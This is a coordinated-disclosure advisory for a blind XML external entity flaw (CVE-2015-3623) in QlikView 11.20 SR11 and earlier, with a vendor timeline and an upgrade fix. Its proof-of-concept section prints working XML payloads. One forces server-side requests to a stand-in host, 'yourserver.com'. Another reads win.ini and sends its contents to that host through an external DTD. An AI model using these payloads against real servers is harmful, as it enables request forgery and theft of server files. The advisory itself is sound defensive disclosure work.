Qlikview 11.20 SR11 – Blind XML External Entity Injection
Exploit Title: Qlikview blind XXE security vulnerability Product: Qlikview Vulnerable Versions: v11.20 SR11 and previous versions Tested Version: v11.20 SR4 Advisory Publication: 08/09/2015 Latest Update: 08/09/2015 Vulnerability Type: Improper Restriction of XML External Entity Reference [CWE-611] CVE Reference: CVE-2015-3623 Credit: Alex Haynes Advisory Details: (1) Vendor & Product Description -------------------------------- Vendor: QLIK Product & Version: QlikView v11.20 SR4 Vendor URL & Download: http://www.qlik.com/us/explore/products/qlikview Product Description: "The QlikView Business Discovery platform delivers true self-service BI that empowers business users by driving innovative decision-making." (2) Vulnerability Details: -------------------------- The Qlikview platform is vulnerable to XML External Entity (XXE) vulnerabilities. More specifically, the platform is susceptible to DTD parameter injections, which are also "blind" as the server feeds back no visual response. These vulnerabilities can be exploited to force Server Side Request Forgeries (SSRF)in multiple protocols, as well as reading and extracting arbitrary files on the server directly. Proof of concept for XXE [CVE-2015-5361]: ----------------------------------------- URL: https://<QLIKVIEW>/AccessPoint.aspx Attack Pattern for SSRF: ------------------------ In POST body: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE update [ <!ENTITY % external SYSTEM "http://yourserver.com"> %external;]> OR simply <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag PUBLIC "-//WHITE//NINJA//EN" "http://yourserver.com"> As this is a blind XXE, you will see no response from server, but yourserver.com will receive the HTTP request from the Qlikview server. Also works with FTP and HTTPS protocols. Attack Pattern for reading and extracting arbitrary files: ------------------------------------------ In POST body: <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % remote SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % dtd SYSTEM "http://yourserver.com/test.dtd"> %dtd; %send; ]]> The test.dtd file on yourserver.com will need to contain the following: Test.dtd -------- <!ENTITY % all "<!ENTITY % send SYSTEM 'http://yourserver.com/?%remote;'>"> %all; As the response is blind, you will see no response from the server, but yourserver.com will receive the file contents as part of the URL in lieu of the %remote parameter. (3) Advisory Timeline: ---------------------- 29/04/2015 - First Contact informing vendor of vulnerability 30/04/2015 - Response requesting details of vulnerability. Details sent 05/05/2015 - Vendor indicates issue is under investigation. 06/05/2015 - Vendor confirms vulnerability and has started working on resolving the issue. 20/05/2015 - Vendor confirms root cause has been identified and patch is under internal testing. 08/06/2015 - Vendor confirms patch ready and requests 90 day restraint on vulnerability release to give clients time to patch. 10/06/2015 - Patch 11.20 SR12 released, fixing the vulnerability 08/09/2015 - Public disclosure of vulnerability. (4)Solution: ------------ Upgrade to QV11.20 SR12 will correct the vulnerability. (5) Credits: ------------ Discovered by Alex Haynes References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3623 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-3623 |